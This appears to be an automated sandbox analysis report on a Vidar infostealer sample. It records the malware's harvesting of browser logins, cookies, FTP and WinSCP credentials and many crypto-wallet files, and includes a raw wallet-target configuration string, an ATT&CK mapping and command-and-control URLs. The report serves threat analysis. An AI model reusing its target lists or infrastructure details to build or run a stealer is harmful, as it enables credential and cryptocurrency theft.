Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Opens network shares

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: \\config\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: \\config\			Jump to behavior

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5768, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 2.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5768, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CE20C40 sqlite3_bind_zeroblob,	2_2_6CE20C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CE20D60 sqlite3_bind_parameter_name,	2_2_6CE20D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD48EA0 sqlite3_clear_bindings,	2_2_6CD48EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	511 Process Injection	2 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	55 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Virtualization/Sandbox Evasion	LSA Secrets	1 Network Share Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	511 Process Injection	Cached Domain Credentials	141 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	12 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	HEUR/AGEN.1317026
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\DBFCBGCGIJKJ\freebl3.dll	0%	ReversingLabs
C:\ProgramData\DBFCBGCGIJKJ\mozglue.dll	0%	ReversingLabs
C:\ProgramData\DBFCBGCGIJKJ\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\DBFCBGCGIJKJ\nss3.dll	0%	ReversingLabs
C:\ProgramData\DBFCBGCGIJKJ\softokn3.dll	0%	ReversingLabs
C:\ProgramData\DBFCBGCGIJKJ\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqls[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=	0%	URL Reputation	safe
http://www.mozilla.com/en-US/blocklist/	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
https://store.steampowered.com/stats/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp	0%	URL Reputation	safe
https://store.steampowered.com/steam_refunds/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://store.steampowered.com/account/cookiepreferences/	0%	URL Reputation	safe
https://store.steampowered.com/mobile	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://steamcommunity.com/?subsection=broadcasts	0%	Avira URL Cloud	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://78.47.123.174	0%	Avira URL Cloud	safe
https://78.47.123.174/nss3.dll	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=7tll	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&	0%	Avira URL Cloud	safe
https://78.47.123.174/mozglue.dll	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js	0%	Avira URL Cloud	safe
https://steamcommunity.com/m	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://78.47.123.174;	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp	0%	Avira URL Cloud	safe
https://78.47.123.174/freebl3.dll	0%	Avira URL Cloud	safe
https://t.me/copterwin	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&	0%	Avira URL Cloud	safe
https://78.47.123.174/msvcp140.dll	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199689717899	0%	Avira URL Cloud	safe
https://steamcommunity.com/my/wishlist/	0%	Avira URL Cloud	safe
https://steamcommunity.com/market/	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/heade	0%	Avira URL Cloud	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	Avira URL Cloud	safe
https://78.47.123.174HCAF	0%	Avira URL Cloud	safe
https://78.47.123.174/	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis	0%	Avira URL Cloud	safe
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	0%	Avira URL Cloud	safe
https://78.47.123.174/sqls.dll	0%	Avira URL Cloud	safe
https://steamcommunity.com/discussions/	0%	Avira URL Cloud	safe
https://steamcommunity.com/workshop/	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199689717899/badges	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199689717899/inventory/	0%	Avira URL Cloud	safe
https://78.47.123.174/vcruntime140.dll	0%	Avira URL Cloud	safe
https://78.47.123.174/softokn3.dll	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=Hpc3R3GOIT	0%	Avira URL Cloud	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=1rP88j3WZLBx&amp	0%	Avira URL Cloud	safe
https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	0%	Avira URL Cloud	safe
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=X93cgZRtuH6z&l=engli	0%	Avira URL Cloud	safe
https://78.47.123.174/sqls.dllb	0%	Avira URL Cloud	safe
https://78.47.123.174DBKE	0%	Avira URL Cloud	safe
https://steamcommunity.com/login/ho	0%	Avira URL Cloud	safe
https://steamcommunity.com/login/home/?goto=profiles%2F76561199689717899	0%	Avira URL Cloud	safe
https://steamcommunity.com/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	23.197.127.21	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://78.47.123.174/nss3.dll	false	Avira URL Cloud: safe	unknown
https://78.47.123.174/mozglue.dll	false	Avira URL Cloud: safe	unknown
https://78.47.123.174/freebl3.dll	false	Avira URL Cloud: safe	unknown
https://78.47.123.174/msvcp140.dll	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199689717899	true	Avira URL Cloud: safe	unknown
https://78.47.123.174/	false	Avira URL Cloud: safe	unknown
https://78.47.123.174/sqls.dll	false	Avira URL Cloud: safe	unknown
https://78.47.123.174/softokn3.dll	false	Avira URL Cloud: safe	unknown
https://78.47.123.174/vcruntime140.dll	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	HCFIJK.2.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	HCFIJK.2.dr	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/?subsection=broadcasts	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=7tll	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
http://www.valvesoftware.com/legal.htm	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://78.47.123.174	76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://t.me/copterwin	file.exe, 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, RegAsm.exe, 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/m	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
